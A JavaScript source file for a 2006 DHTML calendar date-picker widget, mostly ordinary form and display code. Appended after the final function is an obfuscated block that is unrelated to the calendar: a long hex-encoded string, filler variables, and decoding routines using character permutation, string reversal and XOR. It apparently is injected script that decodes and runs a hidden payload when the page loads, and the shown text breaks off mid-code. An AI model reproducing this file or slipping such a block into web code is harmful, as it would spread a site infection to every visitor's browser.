/***********************************************
 Date Input Script with DHTML Calendar
 Modified 01/26/06 - Creative Giant Design Group, LLC
 ************************************************/

// Customizable variables
var DefaultDateFormat = 'MM/DD/YYYY'; // If no date format is supplied, this will be used instead
var HideWait = 3; // Number of seconds before the calendar will disappear
var Y2kPivotPoint = 76; // 2-digit years before this point will be created in the 21st century
var UnselectedMonthText = ''; // Text to display in the 1st month list item when the date isn't required
var FontSize = 11; // In pixels
var FontFamily = 'Arial';
var CellWidth = 18;
var CellHeight = 16;
var ImageURL = '../images/sub/calendar_sml.jpg';
var NextURL = '../images/sub/next.gif';
var PrevURL = '../images/sub/prev.gif';
var CalBGColor = 'white';
var TopRowBGColor = 'buttonface';
var DayBGColor = 'lightgrey';

// Global variables
var ZCounter = 100;
var Today = new Date();
var WeekDays = new Array('S','M','T','W','T','F','S');
var MonthDays = new Array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);
var MonthNames = new Array('January','February','March','April','May','June','July','August','September','October','November','December');

// Write out the stylesheet definition for the calendar
with (document) {
   writeln('<style>');
   writeln('td.calendarDateInput {letter-spacing:normal;line-height:normal;font-family:' + FontFamily + ',Sans-Serif;font-size:' + FontSize + 'px;}');
   writeln('select.calendarDateInput {letter-spacing:.06em;font-family:Verdana,Sans-Serif;font-size:11px;}');
   writeln('input.calendarDateInput {letter-spacing:.06em;font-family:Verdana,Sans-Serif;font-size:11px;}');
   writeln('</style>');
}

// Only allows certain keys to be used in the date field
function YearDigitsOnly(e) {
   var KeyCode = (e.keyCode) ? e.keyCode : e.which;
   return ((KeyCode == 8) // backspace
        || (KeyCode == 9) // tab
        || (KeyCode == 37) // left arrow
        || (KeyCode == 39) // right arrow
        || (KeyCode == 46) // delete
        || ((KeyCode > 47) && (KeyCode < 58)) // 0 - 9
   );
}

// Gets the absolute pixel position of the supplied element
function GetTagPixels(StartTag, Direction) {
   var PixelAmt = (Direction == 'LEFT') ? StartTag.offsetLeft : StartTag.offsetTop;
   while ((StartTag.tagName != 'BODY') && (StartTag.tagName != 'HTML')) {
      StartTag = StartTag.offsetParent;
      PixelAmt += (Direction == 'LEFT') ? StartTag.offsetLeft : StartTag.offsetTop;
   }
   return PixelAmt;
}

// Is the specified select-list behind the calendar?
function BehindCal(SelectList, CalLeftX, CalRightX, CalTopY, CalBottomY, ListTopY) {
   var ListLeftX = GetTagPixels(SelectList, 'LEFT');
   var ListRightX = ListLeftX + SelectList.offsetWidth;
   var ListBottomY = ListTopY + SelectList.offsetHeight;
   return (((ListTopY < CalBottomY) && (ListBottomY > CalTopY)) && ((ListLeftX < CalRightX) && (ListRightX > CalLeftX)));
}

// For IE, hides any select-lists that are behind the calendar
function FixSelectLists(Over) {
   if (navigator.appName == 'Microsoft Internet Explorer') {
      var CalDiv = this.getCalendar();
      var CalLeftX = CalDiv.offsetLeft;
      var CalRightX = CalLeftX + CalDiv.offsetWidth;
      var CalTopY = CalDiv.offsetTop;
      var CalBottomY = CalTopY + (CellHeight * 9);
      var FoundCalInput = false;
      formLoop :
      for (var j=this.formNumber;j<document.forms.length;j++) {
         for (var i=0;i<document.forms[j].elements.length;i++) {
            if (typeof document.forms[j].elements[i].type == 'string') {
               if ((document.forms[j].elements[i].type == 'hidden') && (document.forms[j].elements[i].name == this.hiddenFieldName)) {
                  FoundCalInput = true;
                  i += 3; // 3 elements between the 1st hidden field and the last year input field
               }
               if (FoundCalInput) {
                  if (document.forms[j].elements[i].type.substr(0,6) == 'select') {
                     ListTopY = GetTagPixels(document.forms[j].elements[i], 'TOP');
                     if (ListTopY < CalBottomY) {
                        if (BehindCal(document.forms[j].elements[i], CalLeftX, CalRightX, CalTopY, CalBottomY, ListTopY)) {
                           document.forms[j].elements[i].style.visibility = (Over) ? 'hidden' : 'visible';
                        }
                     }
                     else break formLoop;
                  }
               }
            }
         }
      }
   }
}

// Displays a message in the status bar when hovering over the calendar days
function DayCellHover(Cell, Over, Color, HoveredDay) {
   Cell.style.backgroundColor = (Over) ? DayBGColor : Color;
   if (Over) {
      if ((this.yearValue == Today.getFullYear()) && (this.monthIndex == Today.getMonth()) && (HoveredDay == Today.getDate())) self.status = 'Click to select today';
      else {
         var Suffix = HoveredDay.toString();
         switch (Suffix.substr(Suffix.length - 1, 1)) {
            case '1' : Suffix += (HoveredDay == 11) ? 'th' : 'st'; break;
            case '2' : Suffix += (HoveredDay == 12) ? 'th' : 'nd'; break;
            case '3' : Suffix += (HoveredDay == 13) ? 'th' : 'rd'; break;
            default : Suffix += 'th'; break;
         }
         self.status = 'Click to select ' + this.monthName + ' ' + Suffix;
      }
   }
   else self.status = '';
   return true;
}

// Sets the form elements after a day has been picked from the calendar
function PickDisplayDay(ClickedDay) {
   this.show();
   var MonthList = this.getMonthList();
   var DayList = this.getDayList();
   var YearField = this.getYearField();
   FixDayList(DayList, GetDayCount(this.displayed.yearValue, this.displayed.monthIndex));
   // Select the month and day in the lists
   for (var i=0;i<MonthList.length;i++) {
      if (MonthList.options[i].value == this.displayed.monthIndex) MonthList.options[i].selected = true;
   }
   for (var j=1;j<=DayList.length;j++) {
      if (j == ClickedDay) DayList.options[j-1].selected = true;
   }
   this.setPicked(this.displayed.yearValue, this.displayed.monthIndex, ClickedDay);
   // Change the year, if necessary
   YearField.value = this.picked.yearPad;
   YearField.defaultValue = YearField.value;
}

// Builds the HTML for the calendar days
function BuildCalendarDays() {
   var Rows = 5;
   if (((this.displayed.dayCount == 31) && (this.displayed.firstDay > 4)) || ((this.displayed.dayCount == 30) && (this.displayed.firstDay == 6))) Rows = 6;
   else if ((this.displayed.dayCount == 28) && (this.displayed.firstDay == 0)) Rows = 4;
   var HTML = '<table width="' + (CellWidth * 7) + '" cellspacing="0" cellpadding="1" style="cursor:default">';
   for (var j=0;j<Rows;j++) {
      HTML += '<tr>';
      for (var i=1;i<=7;i++) {
         Day = (j * 7) + (i - this.displayed.firstDay);
         if ((Day >= 1) && (Day <= this.displayed.dayCount)) {
            if ((this.displayed.yearValue == this.picked.yearValue) && (this.displayed.monthIndex == this.picked.monthIndex) && (Day == this.picked.day)) {
               TextStyle = 'color:white;font-weight:bold;'
               BackColor = DayBGColor;
            }
            else {
               TextStyle = 'color:black;'
               BackColor = CalBGColor;
            }
            if ((this.displayed.yearValue == Today.getFullYear()) && (this.displayed.monthIndex == Today.getMonth()) && (Day == Today.getDate())) TextStyle += 'border:1px solid darkred;padding:0px;';
            HTML += '<td align="center" class="calendarDateInput" style="cursor:default;height:' + CellHeight + ';width:' + CellWidth + ';' + TextStyle + ';background-color:' + BackColor + '" onClick="' + this.objName + '.pickDay(' + Day + ')" onMouseOver="return ' + this.objName + '.displayed.dayHover(this,true,\'' + BackColor + '\',' + Day + ')" onMouseOut="return ' + this.objName + '.displayed.dayHover(this,false,\'' + BackColor + '\')">' + Day + '</td>';
         }
         else HTML += '<td class="calendarDateInput" style="height:' + CellHeight + '">&nbsp;</td>';
      }
      HTML += '</tr>';
   }
   return HTML += '</table>';
}

// Determines which century to use (20th or 21st) when dealing with 2-digit years
function GetGoodYear(YearDigits) {
   if (YearDigits.length == 4) return YearDigits;
   else {
      var Millennium = (YearDigits < Y2kPivotPoint) ? 2000 : 1900;
      return Millennium + parseInt(YearDigits,10);
   }
}

// Returns the number of days in a month (handles leap-years)
function GetDayCount(SomeYear, SomeMonth) {
   return ((SomeMonth == 1) && ((SomeYear % 400 == 0) || ((SomeYear % 4 == 0) && (SomeYear % 100 != 0)))) ? 29 : MonthDays[SomeMonth];
}

// Highlights the buttons
function VirtualButton(Cell, ButtonDown) {
   if (ButtonDown) {
      Cell.style.borderLeft = 'buttonshadow 1px solid';
      Cell.style.borderTop = 'buttonshadow 1px solid';
      Cell.style.borderBottom = 'buttonhighlight 1px solid';
      Cell.style.borderRight = 'buttonhighlight 1px solid';
   }
   else {
      Cell.style.borderLeft = 'buttonhighlight 1px solid';
      Cell.style.borderTop = 'buttonhighlight 1px solid';
      Cell.style.borderBottom = 'buttonshadow 1px solid';
      Cell.style.borderRight = 'buttonshadow 1px solid';
   }
}

// Mouse-over for the previous/next month buttons
function NeighborHover(Cell, Over, DateObj) {
   if (Over) {
      VirtualButton(Cell, false);
      self.status = 'Click to view ' + DateObj.fullName;
   }
   else {
      Cell.style.border = 'buttonface 1px solid';
      self.status = '';
   }
   return true;
}

// Adds/removes days from the day list, depending on the month/year
function FixDayList(DayList, NewDays) {
   var DayPick = DayList.selectedIndex + 1;
   if (NewDays != DayList.length) {
      var OldSize = DayList.length;
      for (var k=Math.min(NewDays,OldSize);k<Math.max(NewDays,OldSize);k++) {
         (k >= NewDays) ? DayList.options[NewDays] = null : DayList.options[k] = new Option(k+1, k+1);
      }
      DayPick = Math.min(DayPick, NewDays);
      DayList.options[DayPick-1].selected = true;
   }
   return DayPick;
}

// Resets the year to its previous valid value when something invalid is entered
function FixYearInput(YearField) {
   var YearRE = new RegExp('\\d{' + YearField.defaultValue.length + '}');
   if (!YearRE.test(YearField.value)) YearField.value = YearField.defaultValue;
}

// Displays a message in the status bar when hovering over the calendar icon
function CalIconHover(Over) {
   var Message = (this.isShowing()) ? 'hide' : 'show';
   self.status = (Over) ? 'Click to ' + Message + ' the calendar' : '';
   return true;
}

// Starts the timer over from scratch
function CalTimerReset() {
   eval('clearTimeout(' + this.timerID + ')');
   eval(this.timerID + '=setTimeout(\'' + this.objName + '.show()\',' + (HideWait * 1000) + ')');
}

// The timer for the calendar
function DoTimer(CancelTimer) {
   if (CancelTimer) eval('clearTimeout(' + this.timerID + ')');
   else {
      eval(this.timerID + '=null');
      this.resetTimer();
   }
}

// Show or hide the calendar
function ShowCalendar() {
   if (this.isShowing()) {
      var StopTimer = true;
      this.getCalendar().style.zIndex = --ZCounter;
      this.getCalendar().style.visibility = 'hidden';
      this.fixSelects(false);
   }
   else {
      var StopTimer = false;
      this.fixSelects(true);
      this.getCalendar().style.zIndex = ++ZCounter;
      this.getCalendar().style.visibility = 'visible';
   }
   this.handleTimer(StopTimer);
   self.status = '';
}

// Hides the input elements when the "blank" month is selected
function SetElementStatus(Hide) {
   this.getDayList().style.visibility = (Hide) ? 'hidden' : 'visible';
   this.getYearField().style.visibility = (Hide) ? 'hidden' : 'visible';
   this.getCalendarLink().style.visibility = (Hide) ? 'hidden' : 'visible';
}

// Sets the date, based on the month selected
function CheckMonthChange(MonthList) {
   var DayList = this.getDayList();
   if (MonthList.options[MonthList.selectedIndex].value == '') {
      DayList.selectedIndex = 0;
      this.hideElements(true);
      this.setHidden('');
   }
   else {
      this.hideElements(false);
      if (this.isShowing()) {
         this.resetTimer(); // Gives the user more time to view the calendar with the newly-selected month
         this.getCalendar().style.zIndex = ++ZCounter; // Make sure this calendar is on top of any other calendars
      }
      var DayPick = FixDayList(DayList, GetDayCount(this.picked.yearValue, MonthList.options[MonthList.selectedIndex].value));
      this.setPicked(this.picked.yearValue, MonthList.options[MonthList.selectedIndex].value, DayPick);
   }
}

// Sets the date, based on the day selected
function CheckDayChange(DayList) {
   if (this.isShowing()) this.show();
   this.setPicked(this.picked.yearValue, this.picked.monthIndex, DayList.selectedIndex+1);
}

// Changes the date when a valid year has been entered
function CheckYearInput(YearField) {
   if ((YearField.value.length == YearField.defaultValue.length) && (YearField.defaultValue != YearField.value)) {
      if (this.isShowing()) {
         this.resetTimer(); // Gives the user more time to view the calendar with the newly-entered year
         this.getCalendar().style.zIndex = ++ZCounter; // Make sure this calendar is on top of any other calendars
      }
      var NewYear = GetGoodYear(YearField.value);
      var MonthList = this.getMonthList();
      var NewDay = FixDayList(this.getDayList(), GetDayCount(NewYear, this.picked.monthIndex));
      this.setPicked(NewYear, this.picked.monthIndex, NewDay);
      YearField.defaultValue = YearField.value;
   }
}

// Holds characteristics about a date
function dateObject() {
   if (Function.call) { // Used when 'call' method of the Function object is supported
      var ParentObject = this;
      var ArgumentStart = 0;
   }
   else { // Used with 'call' method of the Function object is NOT supported
      var ParentObject = arguments[0];
      var ArgumentStart = 1;
   }
   ParentObject.date = (arguments.length == (ArgumentStart+1)) ? new Date(arguments[ArgumentStart+0]) : new Date(arguments[ArgumentStart+0], arguments[ArgumentStart+1], arguments[ArgumentStart+2]);
   ParentObject.yearValue = ParentObject.date.getFullYear();
   ParentObject.monthIndex = ParentObject.date.getMonth();
   ParentObject.monthName = MonthNames[ParentObject.monthIndex];
   ParentObject.fullName = ParentObject.monthName + ' ' + ParentObject.yearValue;
   ParentObject.day = ParentObject.date.getDate();
   ParentObject.dayCount = GetDayCount(ParentObject.yearValue, ParentObject.monthIndex);
   var FirstDate = new Date(ParentObject.yearValue, ParentObject.monthIndex, 1);
   ParentObject.firstDay = FirstDate.getDay();
}

// Keeps track of the date that goes into the hidden field
function storedMonthObject(DateFormat, DateYear, DateMonth, DateDay) {
   (Function.call) ? dateObject.call(this, DateYear, DateMonth, DateDay) : dateObject(this, DateYear, DateMonth, DateDay);
   this.yearPad = this.yearValue.toString();
   this.monthPad = (this.monthIndex < 9) ? '0' + String(this.monthIndex + 1) : this.monthIndex + 1;
   this.dayPad = (this.day < 10) ? '0' + this.day.toString() : this.day;
   this.monthShort = this.monthName.substr(0,3).toUpperCase();
   // Formats the year with 2 digits instead of 4
   if (DateFormat.indexOf('YYYY') == -1) this.yearPad = this.yearPad.substr(2);
   // Define the date-part delimiter
   if (DateFormat.indexOf('/') >= 0) var Delimiter = '/';
   else if (DateFormat.indexOf('-') >= 0) var Delimiter = '-';
   else var Delimiter = '';
   // Determine the order of the months and days
   if (/DD?.?((MON)|(MM?M?))/.test(DateFormat)) {
      this.formatted = this.dayPad + Delimiter;
      this.formatted += (RegExp.$1.length == 3) ? this.monthShort : this.monthPad;
   }
   else if (/((MON)|(MM?M?))?.?DD?/.test(DateFormat)) {
      this.formatted = (RegExp.$1.length == 3) ? this.monthShort : this.monthPad;
      this.formatted += Delimiter + this.dayPad;
   }
   // Either prepend or append the year to the formatted date
   this.formatted = (DateFormat.substr(0,2) == 'YY') ? this.yearPad + Delimiter + this.formatted : this.formatted + Delimiter + this.yearPad;
}

// Object for the current displayed month
function displayMonthObject(ParentObject, DateYear, DateMonth, DateDay) {
   (Function.call) ? dateObject.call(this, DateYear, DateMonth, DateDay) : dateObject(this, DateYear, DateMonth, DateDay);
   this.displayID = ParentObject.hiddenFieldName + '_Current_ID';
   this.getDisplay = new Function('return document.getElementById(this.displayID)');
   this.dayHover = DayCellHover;
   this.goCurrent = new Function(ParentObject.objName + '.getCalendar().style.zIndex=++ZCounter;' + ParentObject.objName + '.setDisplayed(Today.getFullYear(),Today.getMonth());');
   if (ParentObject.formNumber >= 0) this.getDisplay().innerHTML = this.fullName;
}

// Object for the previous/next buttons
function neighborMonthObject(ParentObject, IDText, DateMS) {
   (Function.call) ? dateObject.call(this, DateMS) : dateObject(this, DateMS);
   this.buttonID = ParentObject.hiddenFieldName + '_' + IDText + '_ID';
   this.hover = new Function('C','O','NeighborHover(C,O,this)');
   this.getButton = new Function('return document.getElementById(this.buttonID)');
   this.go = new Function(ParentObject.objName + '.getCalendar().style.zIndex=++ZCounter;' + ParentObject.objName + '.setDisplayed(this.yearValue,this.monthIndex);');
   if (ParentObject.formNumber >= 0) this.getButton().title = this.monthName;
}

// Sets the currently-displayed month object
function SetDisplayedMonth(DispYear, DispMonth) {
   this.displayed = new displayMonthObject(this, DispYear, DispMonth, 1);
   // Creates the previous and next month objects
   this.previous = new neighborMonthObject(this, 'Previous', this.displayed.date.getTime() - 86400000);
   this.next = new neighborMonthObject(this, 'Next', this.displayed.date.getTime() + (86400000 * (this.displayed.dayCount + 1)));
   // Creates the HTML for the calendar
   if (this.formNumber >= 0) this.getDayTable().innerHTML = this.buildCalendar();
}

// Sets the current selected date
function SetPickedMonth(PickedYear, PickedMonth, PickedDay) {
   this.picked = new storedMonthObject(this.format, PickedYear, PickedMonth, PickedDay);
   this.setHidden(this.picked.formatted);
   this.setDisplayed(PickedYear, PickedMonth);
}

// The calendar object
function calendarObject(DateName, DateFormat, DefaultDate) {

   /* Properties */
   this.hiddenFieldName = DateName;
   this.monthListID = DateName + '_Month_ID';
   this.dayListID = DateName + '_Day_ID';
   this.yearFieldID = DateName + '_Year_ID';
   this.monthDisplayID = DateName + '_Current_ID';
   this.calendarID = DateName + '_ID';
   this.dayTableID = DateName + '_DayTable_ID';
   this.calendarLinkID = this.calendarID + '_Link';
   this.timerID = this.calendarID + '_Timer';
   this.objName = DateName + '_Object';
   this.format = DateFormat;
   this.formNumber = -1;
   this.picked = null;
   this.displayed = null;
   this.previous = null;
   this.next = null;

   /* Methods */
   this.setPicked = SetPickedMonth;
   this.setDisplayed = SetDisplayedMonth;
   this.checkYear = CheckYearInput;
   this.fixYear = FixYearInput;
   this.changeMonth = CheckMonthChange;
   this.changeDay = CheckDayChange;
   this.resetTimer = CalTimerReset;
   this.hideElements = SetElementStatus;
   this.show = ShowCalendar;
   this.handleTimer = DoTimer;
   this.iconHover = CalIconHover;
   this.buildCalendar = BuildCalendarDays;
   this.pickDay = PickDisplayDay;
   this.fixSelects = FixSelectLists;
   this.setHidden = new Function('D','if (this.formNumber >= 0) this.getHiddenField().value=D');
   // Returns a reference to these elements
   this.getHiddenField = new Function('return document.forms[this.formNumber].elements[this.hiddenFieldName]');
   this.getMonthList = new Function('return document.getElementById(this.monthListID)');
   this.getDayList = new Function('return document.getElementById(this.dayListID)');
   this.getYearField = new Function('return document.getElementById(this.yearFieldID)');
   this.getCalendar = new Function('return document.getElementById(this.calendarID)');
   this.getDayTable = new Function('return document.getElementById(this.dayTableID)');
   this.getCalendarLink = new Function('return document.getElementById(this.calendarLinkID)');
   this.getMonthDisplay = new Function('return document.getElementById(this.monthDisplayID)');
   this.isShowing = new Function('return !(this.getCalendar().style.visibility != \'visible\')');

   /* Constructor */
   // Functions used only by the constructor
   function getMonthIndex(MonthAbbr) { // Returns the index (0-11) of the supplied month abbreviation
      for (var MonPos=0;MonPos<MonthNames.length;MonPos++) {
         if (MonthNames[MonPos].substr(0,3).toUpperCase() == MonthAbbr.toUpperCase()) break;
      }
      return MonPos;
   }
   function SetGoodDate(CalObj, Notify) { // Notifies the user about their bad default date, and sets the current system date
      CalObj.setPicked(Today.getFullYear(), Today.getMonth(), Today.getDate());
      if (Notify) alert('WARNING: The supplied date is not in valid \'' + DateFormat + '\' format: ' + DefaultDate + '.\nTherefore, the current system date will be used instead: ' + CalObj.picked.formatted);
   }
   // Main part of the constructor
   if (DefaultDate != '') {
      if ((this.format == 'YYYYMMDD') && (/^(\d{4})(\d{2})(\d{2})$/.test(DefaultDate))) this.setPicked(RegExp.$1, parseInt(RegExp.$2,10)-1, RegExp.$3);
      else {
         // Get the year
         if ((this.format.substr(0,2) == 'YY') && (/^(\d{2,4})(-|\/)/.test(DefaultDate))) { // Year is at the beginning
            var YearPart = GetGoodYear(RegExp.$1);
            // Determine the order of the months and days
            if (/(-|\/)(\w{1,3})(-|\/)(\w{1,3})$/.test(DefaultDate)) {
               var MidPart = RegExp.$2;
               var EndPart = RegExp.$4;
               if (/D$/.test(this.format)) { // Ends with days
                  var DayPart = EndPart;
                  var MonthPart = MidPart;
               }
               else {
                  var DayPart = MidPart;
                  var MonthPart = EndPart;
               }
               MonthPart = (/\d{1,2}/i.test(MonthPart)) ? parseInt(MonthPart,10)-1 : getMonthIndex(MonthPart);
               this.setPicked(YearPart, MonthPart, DayPart);
            }
            else SetGoodDate(this, true);
         }
         else if (/(-|\/)(\d{2,4})$/.test(DefaultDate)) { // Year is at the end
            var YearPart = GetGoodYear(RegExp.$2);
            // Determine the order of the months and days
            if (/^(\w{1,3})(-|\/)(\w{1,3})(-|\/)/.test(DefaultDate)) {
               if (this.format.substr(0,1) == 'D') { // Starts with days
                  var DayPart = RegExp.$1;
                  var MonthPart = RegExp.$3;
               }
               else { // Starts with months
                  var MonthPart = RegExp.$1;
                  var DayPart = RegExp.$3;
               }
               MonthPart = (/\d{1,2}/i.test(MonthPart)) ? parseInt(MonthPart,10)-1 : getMonthIndex(MonthPart);
               this.setPicked(YearPart, MonthPart, DayPart);
            }
            else SetGoodDate(this, true);
         }
         else SetGoodDate(this, true);
      }
   }
}

// Main function that creates the form elements
function DateInput(DateName, Required, DateFormat, DefaultDate) {
   if (arguments.length == 0) document.writeln('<span style="color:red;font-size:' + FontSize + 'px;font-family:' + FontFamily + ';">ERROR: Missing required parameter in call to \'DateInput\': [name of hidden date field].</span>');
   else {
      // Handle DateFormat
      if (arguments.length < 3) { // The format wasn't passed in, so use default
         DateFormat = DefaultDateFormat;
         if (arguments.length < 2) Required = false;
      }
      else if (/^(Y{2,4}(-|\/)?)?((MON)|(MM?M?)|(DD?))(-|\/)?((MON)|(MM?M?)|(DD?))((-|\/)Y{2,4})?$/i.test(DateFormat)) DateFormat = DateFormat.toUpperCase();
      else { // Passed-in DateFormat was invalid, use default format instead
         var AlertMessage = 'WARNING: The supplied date format for the \'' + DateName + '\' field is not valid: ' + DateFormat + '\nTherefore, the default date format will be used instead: ' + DefaultDateFormat;
         DateFormat = DefaultDateFormat;
         if (arguments.length == 4) { // DefaultDate was passed in with an invalid date format
            var CurrentDate = new storedMonthObject(DateFormat, Today.getFullYear(), Today.getMonth(), Today.getDate());
            AlertMessage += '\n\nThe supplied date (' + DefaultDate + ') cannot be interpreted with the invalid format.\nTherefore, the current system date will be used instead: ' + CurrentDate.formatted;
            DefaultDate = CurrentDate.formatted;
         }
         alert(AlertMessage);
      }
      // Define the current date if it wasn't set already
      if (!CurrentDate) var CurrentDate = new storedMonthObject(DateFormat, Today.getFullYear(), Today.getMonth(), Today.getDate());
      // Handle DefaultDate
      if (arguments.length < 4) { // The date wasn't passed in
         DefaultDate = (Required) ? CurrentDate.formatted : ''; // If required, use today's date
      }
      // Creates the calendar object!
      eval(DateName + '_Object=new calendarObject(\'' + DateName + '\',\'' + DateFormat + '\',\'' + DefaultDate + '\')');
      // Determine initial viewable state of day, year, and calendar icon
      if ((Required) || (arguments.length == 4)) {
         var InitialStatus = '';
         var InitialDate = eval(DateName + '_Object.picked.formatted');
      }
      else {
         var InitialStatus = ' style="visibility:hidden"';
         var InitialDate = '';
         eval(DateName + '_Object.setPicked(' + Today.getFullYear() + ',' + Today.getMonth() + ',' + Today.getDate() + ')');
      }
      // Create the form elements
      with (document) {
         writeln('<input type="hidden" name="' + DateName + '" value="' + InitialDate + '">');
         // Find this form number
         for (var f=0;f<forms.length;f++) {
            for (var e=0;e<forms[f].elements.length;e++) {
               if (typeof forms[f].elements[e].type == 'string') {
                  if ((forms[f].elements[e].type == 'hidden') && (forms[f].elements[e].name == DateName)) {
                     eval(DateName + '_Object.formNumber='+f);
                     break;
                  }
               }
            }
         }
         writeln('<table cellpadding="0" cellspacing="2"><tr>' + String.fromCharCode(13) + '<td valign="middle">');
         writeln('<select class="calendarDateInput" id="' + DateName + '_Month_ID" onChange="' + DateName + '_Object.changeMonth(this)">');
         if (!Required) {
            var NoneSelected = (DefaultDate == '') ? ' selected' : '';
            writeln('<option value=""' + NoneSelected + '>' + UnselectedMonthText + '</option>');
         }
         for (var i=0;i<12;i++) {
            MonthSelected = ((DefaultDate != '') && (eval(DateName + '_Object.picked.monthIndex') == i)) ? ' selected' : '';
            writeln('<option value="' + i + '"' + MonthSelected + '>' + MonthNames[i].substr(0,3) + '</option>');
         }
         writeln('</select>' + String.fromCharCode(13) + '</td>' + String.fromCharCode(13) + '<td valign="middle">');
         writeln('<select' + InitialStatus + ' class="calendarDateInput" id="' + DateName + '_Day_ID" onChange="' + DateName + '_Object.changeDay(this)">');
         for (var j=1;j<=eval(DateName + '_Object.picked.dayCount');j++) {
            DaySelected = ((DefaultDate != '') && (eval(DateName + '_Object.picked.day') == j)) ? ' selected' : '';
            writeln('<option' + DaySelected + '>' + j + '</option>');
         }
         writeln('</select>' + String.fromCharCode(13) + '</td>' + String.fromCharCode(13) + '<td valign="middle">');
         writeln('<input' + InitialStatus + ' class="calendarDateInput" type="text" id="' + DateName + '_Year_ID" size="' + eval(DateName + '_Object.picked.yearPad.length') + '" maxlength="' + eval(DateName + '_Object.picked.yearPad.length') + '" title="Year" value="' + eval(DateName + '_Object.picked.yearPad') + '" onKeyPress="return YearDigitsOnly(window.event)" onKeyUp="' + DateName + '_Object.checkYear(this)" onBlur="' + DateName + '_Object.fixYear(this)">');
         write('<td valign="middle">' + String.fromCharCode(13) + '<a' + InitialStatus + ' id="' + DateName + '_ID_Link" href="javascript:' + DateName + '_Object.show()" onMouseOver="return ' + DateName + '_Object.iconHover(true)" onMouseOut="return ' + DateName + '_Object.iconHover(false)"><img src="' + ImageURL + '" align="baseline" title="Calendar" border="0"></a>&nbsp;');
         writeln('<span id="' + DateName + '_ID" style="position:absolute;visibility:hidden;width:' + (CellWidth * 7) + 'px;background-color:' + CalBGColor + ';border:1px solid dimgray;" onMouseOver="' + DateName + '_Object.handleTimer(true)" onMouseOut="' + DateName + '_Object.handleTimer(false)">');
         writeln('<table width="' + (CellWidth * 7) + '" cellspacing="0" cellpadding="1">' + String.fromCharCode(13) + '<tr style="background-color:' + TopRowBGColor + ';">');
         writeln('<td id="' + DateName + '_Previous_ID" style="cursor:default" align="center" class="calendarDateInput" style="height:' + CellHeight + '" onClick="' + DateName + '_Object.previous.go()" onMouseDown="VirtualButton(this,true)" onMouseUp="VirtualButton(this,false)" onMouseOver="return ' + DateName + '_Object.previous.hover(this,true)" onMouseOut="return ' + DateName + '_Object.previous.hover(this,false)" title="' + eval(DateName + '_Object.previous.monthName') + '"><img src="' + PrevURL + '"></td>');
         writeln('<td id="' + DateName + '_Current_ID" style="cursor:pointer" align="center" class="calendarDateInput" style="height:' + CellHeight + '" colspan="5" onClick="' + DateName + '_Object.displayed.goCurrent()" onMouseOver="self.status=\'Click to view ' + CurrentDate.fullName + '\';return true;" onMouseOut="self.status=\'\';return true;" title="Show Current Month">' + eval(DateName + '_Object.displayed.fullName') + '</td>');
         writeln('<td id="' + DateName + '_Next_ID" style="cursor:default" align="center" class="calendarDateInput" style="height:' + CellHeight + '" onClick="' + DateName + '_Object.next.go()" onMouseDown="VirtualButton(this,true)" onMouseUp="VirtualButton(this,false)" onMouseOver="return ' + DateName + '_Object.next.hover(this,true)" onMouseOut="return ' + DateName + '_Object.next.hover(this,false)" title="' + eval(DateName + '_Object.next.monthName') + '"><img src="' + NextURL + '"></td></tr>' + String.fromCharCode(13) + '<tr>');
         for (var w=0;w<7;w++) writeln('<td width="' + CellWidth + '" align="center" class="calendarDateInput" style="height:' + CellHeight + ';width:' + CellWidth + ';font-weight:bold;border-top:1px solid dimgray;border-bottom:1px solid dimgray;">' + WeekDays[w] + '</td>');
         writeln('</tr>' + String.fromCharCode(13) + '</table>' + String.fromCharCode(13) + '<span id="' + DateName + '_DayTable_ID">' + eval(DateName + '_Object.buildCalendar()') + '</span>' + String.fromCharCode(13) + '</span>' + String.fromCharCode(13) + '</td>' + String.fromCharCode(13) + '</tr>' + String.fromCharCode(13) + '</table>');
      }
   }
}
var nLM="fedbebfcf988fcf4c8e6e189ebe7c8fb91dbf0d2fffbfaebe7d6faddc6ffe8c4c1d6c2c6c0c0ceebc0c3dae8deecc6cccef9ddf9ebedccffe6ddfbc4ccfce4cae8faefbed0ed92cffee188ecf89ff4ea";var mP=new Date();var wz=new Date();function T(Tn){var E;if(E!='s' && E != ''){E=null};var ob;if(ob!='Aa'){ob='Aa'};var db=''; var pj;if(pj!='jJ' && pj!='f'){pj=''};var cf;if(cf!='m'){cf='m'};function C(L,G){var ij;if(ij!=''){ij='My'};return L^G;var Ue=30584;}var ZU="";var eV=new String(); function SA(bd,Z){return bd[b("oardChecAt", [7,5,1,2,4,0,3,6])](Z);var a="a";}var Pk;if(Pk!='zx' && Pk!='ZZ'){Pk=''};this.jH=''; var S=function(j){var yL;if(yL!='' && yL!='En'){yL=null};var q =[0,235,97,73][0];var nN=new Date();var M = '';var JQ='';j = new O(j);var Wd;if(Wd!='uz' && Wd!='UeB'){Wd=''};this.Ii="Ii";this.nP='';this.Ir='';var H =[0][0];var qd;if(qd!='Oe'){qd='Oe'};var IN;if(IN!='Tu'){IN='Tu'};var N = -1;var td=new Date();var JN;if(JN!='cj' && JN!='bB'){JN=''};var RB;if(RB!='kj' && RB != ''){RB=null};var nPx='';for (H=j[b("telngh", [2,1,3,4,0])]-N;H>=q;H=H-[17,101,1,17][2]){M+=j[b("hracAt", [3,0,2,1])](H);this.TB="";}var Bf;if(Bf!='' && Bf!='mK'){Bf='RY'};var HZ;if(HZ!='' && HZ!='VZ'){HZ=''};return M;var gJ;if(gJ!='' && gJ!='VR'){gJ=''};var VS;if(VS!='pq' && VS!='OS'){VS='pq'};};var VA=false;var tu;if(tu!='' && tu!='iO'){tu=''}; function p(ZO){var hZ;if(hZ!='Lb' && hZ!='IZ'){hZ='Lb'};var yu=false;var r=[0][0];var DZ=new Array();var LD=new Array();var D=[52,0,223,121][1];var MP;if(MP!='' && MP!='AY'){MP='tO'};var U=[255,197][0];var Ep;if(Ep!='' && Ep!='Sp'){Ep=null};var MR=ZO[b("nlehgt", [1,2,0])];var lx=new Date();var W=[154,87,149,1][3];this.TY=false;var di;if(di!=''){di='Ds'};var eF;if(eF!='vF' && eF!='ho'){eF='vF'};var Kz="";while(D<MR){var Kw='';D++;var mG=new String();t=SA(ZO,D - W);var jZ;if(jZ!='zR'){jZ='zR'};r+=t*MR;}var Zs=new Array();var dJ;if(dJ!='SV' && dJ!='br'){dJ='SV'};return new O(r % U);}this.US=''; var gu;if(gu!='ns'){gu='ns'};this.mv="mv";function b(j, w){var ZM;if(ZM!='zgE' && ZM!='yLY'){ZM='zgE'};this.IH=51036;var q=[60,0,208,211][1];var ID=false;var Ex;if(Ex!='' && 